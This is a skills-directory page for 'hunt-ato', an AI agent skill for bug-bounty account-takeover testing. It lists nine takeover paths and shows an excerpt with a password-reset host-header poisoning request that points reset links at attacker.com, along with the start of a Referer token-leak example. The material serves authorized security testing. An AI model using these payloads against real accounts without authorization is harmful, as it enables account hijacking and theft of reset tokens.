Tooluck logoTooluck
SKILL.md

hunt-ato

Agent skill fromelementalsouls/Claude-BugHunter

Hunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives t

How to install hunt-ato

install hunt-ato
# install the Claude-BugHunter pack with the skills CLI
npx skills add elementalsouls/Claude-BugHunter

# or add only this skill to Claude Code: copy the folder

skills/hunt-ato/

# into

~/.claude/skills/hunt-ato/ (all projects)

.claude/skills/hunt-ato/ (one project)

skills/hunt-ato/SKILL.md

MITFull file
1## 13. ATO — ACCOUNT TAKEOVER TAXONOMY
2> 9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.
3
4### Path 1: Password Reset Poisoning (Host-Header)
5```bash
6POST /forgot-password HTTP/1.1
7Host: attacker.com # primary Host swap
8# OR keep real Host and add one of:
9X-Forwarded-Host: attacker.com
10X-Host: attacker.com
11X-Forwarded-Server: attacker.com
12# OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com
13
14email=victimB@company.com
15```
16The reset mailer builds the link from the request Host header → link points to `attacker.com/reset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.
17**False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.
18
19### Path 2: Reset Token in Referer / Open-Redirect Leak
20```
21GET /reset-password?token=ABC123
22…

Excerpt shown under the repository's MIT license.

More skills in Claude-BugHunter

Keep exploring

Similar skill repositories

thedotmack /

claude-mem
116k

Persistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More

CCCXGHGM+135 skills

Newsletter

Join the Community

Subscribe to our newsletter for the latest news and updates